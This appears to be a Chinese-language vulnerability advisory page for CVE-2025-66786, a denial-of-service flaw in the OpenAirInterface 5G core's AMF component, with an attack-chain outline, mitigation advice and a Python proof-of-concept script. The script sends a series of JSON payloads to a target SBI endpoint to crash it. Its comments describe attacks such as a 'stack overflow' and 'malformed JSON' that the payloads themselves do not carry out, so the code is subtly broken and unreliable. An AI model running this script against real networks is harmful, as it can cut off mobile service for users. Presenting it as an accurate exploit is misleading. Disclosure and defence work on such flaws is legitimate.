IPBUF安全漏洞报告
English
CVE-2025-66786 CVSS 7.5 高危

CVE-2025-66786 OpenAirInterface CN5G AMF JSON处理逻辑错误拒绝服务漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-66786
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenAirInterface CN5G AMF

相关标签

CVE-2025-66786拒绝服务逻辑错误OpenAirInterface5G核心网AMFSBI接口JSON解析高危漏洞无需认证

漏洞概述

CVE-2025-66786是OpenAirInterface开源5G核心网项目中的一个高危拒绝服务漏洞。该漏洞存在于OpenAirInterface 5G核心网(CN5G)的AMF(Access and Mobility Management Function,接入和移动性管理功能)组件中,影响版本至v2.0.1。漏洞根源在于AMF组件的SBI(Service Based Interface,服务接口)接口在处理JSON格式请求时存在逻辑错误。攻击者无需任何认证凭证,即可通过构造恶意的JSON格式请求数据包,向AMF组件的SBI接口发起攻击,导致服务中断或组件瘫痪。由于该漏洞可被远程利用且无需用户交互,因此具有较高的安全风险。CVSS评分7.5,属于高危漏洞,主要影响系统的可用性。

技术细节

OpenAirInterface CN5G AMF组件的SBI接口在解析和处理JSON格式请求时存在逻辑错误漏洞。攻击者可以构造包含特殊格式或畸形JSON数据的请求包,当这些恶意请求到达AMF的SBI接口时,触发解析逻辑中的错误处理分支,导致AMF组件进入异常状态或崩溃。具体技术细节如下:1) AMF的SBI接口缺乏对JSON输入的充分验证和边界检查;2) 恶意JSON数据可能导致内存处理异常或程序逻辑错误;3) 攻击者通过发送精心构造的请求包,可以使AMF组件无法正常响应服务请求;4) 该漏洞影响AMF的接入和移动性管理功能,间接影响整个5G核心网的稳定性。由于无需认证即可利用,攻击者可以在网络上直接发起攻击,对5G网络的可用性造成严重影响。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标OpenAirInterface CN5G部署环境,确定AMF组件的SBI接口地址和端口
STEP 2
步骤2: 构造恶意请求
攻击者构造包含畸形或特殊格式的JSON数据请求包,用于触发AMF组件的JSON解析逻辑错误
STEP 3
步骤3: 发送恶意请求
通过HTTP/HTTPS协议向AMF的SBI接口发送恶意JSON请求,由于漏洞无需认证可直接发送
STEP 4
步骤4: 触发漏洞
AMF组件在处理恶意JSON数据时触发逻辑错误,导致组件进入异常状态或崩溃
STEP 5
步骤5: 拒绝服务
AMF组件无法正常处理后续请求,导致5G核心网的接入和移动性管理功能中断,造成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-66786 PoC - OpenAirInterface CN5G AMF JSON DoS Note: This PoC is for educational and authorized testing purposes only. """ import requests import json import sys import time def send_malicious_json(target_url, payload): """ Send malicious JSON payload to AMF SBI interface """ headers = { 'Content-Type': 'application/json', 'Accept': 'application/json' } try: response = requests.post( target_url, data=json.dumps(payload), headers=headers, timeout=10, verify=False ) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def generate_malicious_payloads(): """ Generate various malicious JSON payloads to trigger the logic error """ payloads = [ # Payload 1: Deeply nested JSON causing stack overflow {"data": {"level1": {"level2": {"level3": {"level4": {"level5": "recursive"}}}}}}, # Payload 2: Empty key with special characters {"": "malicious", "key": None}, # Payload 3: Array explosion {"array": [i for i in range(100000)]}, # Payload 4: Type confusion {"field": {"nested": [{"a": 1}, {"b": 2}]}}, # Payload 5: Unicode bypass attempt {"\u0000": "null_byte_injection", "data": "\uffff"}, # Payload 6: Malformed JSON structure {"invalid": {"structure": [{"key": "value"}, {"key": None}]}} ] return payloads def main(): if len(sys.argv) < 2: print("Usage: python3 cve_2025_66786_poc.py <target_url>") print("Example: python3 cve_2025_66786_poc.py http://target:8080/sbi/endpoint") sys.exit(1) target_url = sys.argv[1] print(f"[*] CVE-2025-66786 PoC - Testing {target_url}") print(f"[*] Target: OpenAirInterface CN5G AMF <= v2.0.1") payloads = generate_malicious_payloads() for i, payload in enumerate(payloads, 1): print(f"\n[*] Sending payload {i}/{len(payloads)}...") status, response = send_malicious_json(target_url, payload) if status: print(f"[+] Payload {i} - Status: {status}") if status >= 500: print(f"[!] Potential vulnerability triggered - Server error detected") else: print(f"[-] Payload {i} - Connection failed: {response}") time.sleep(1) print("\n[*] PoC execution completed") print("[*] Note: Successful exploitation may cause DoS on target AMF component") if __name__ == "__main__": main()

影响范围

OpenAirInterface CN5G AMF <= v2.0.1

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1) 在网络边界部署防火墙或IPS设备,对发往AMF SBI接口的异常JSON请求进行过滤和阻断;2) 限制AMF组件的网络暴露范围,仅允许必要的网元访问;3) 实施API网关或负载均衡器,对JSON请求进行预处理和验证;4) 启用请求速率限制(Rate Limiting),防止短时间内大量恶意请求;5) 加强对AMF组件的监控和日志审计,及时发现异常访问行为;6) 考虑在测试环境中验证并部署临时的输入过滤规则。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表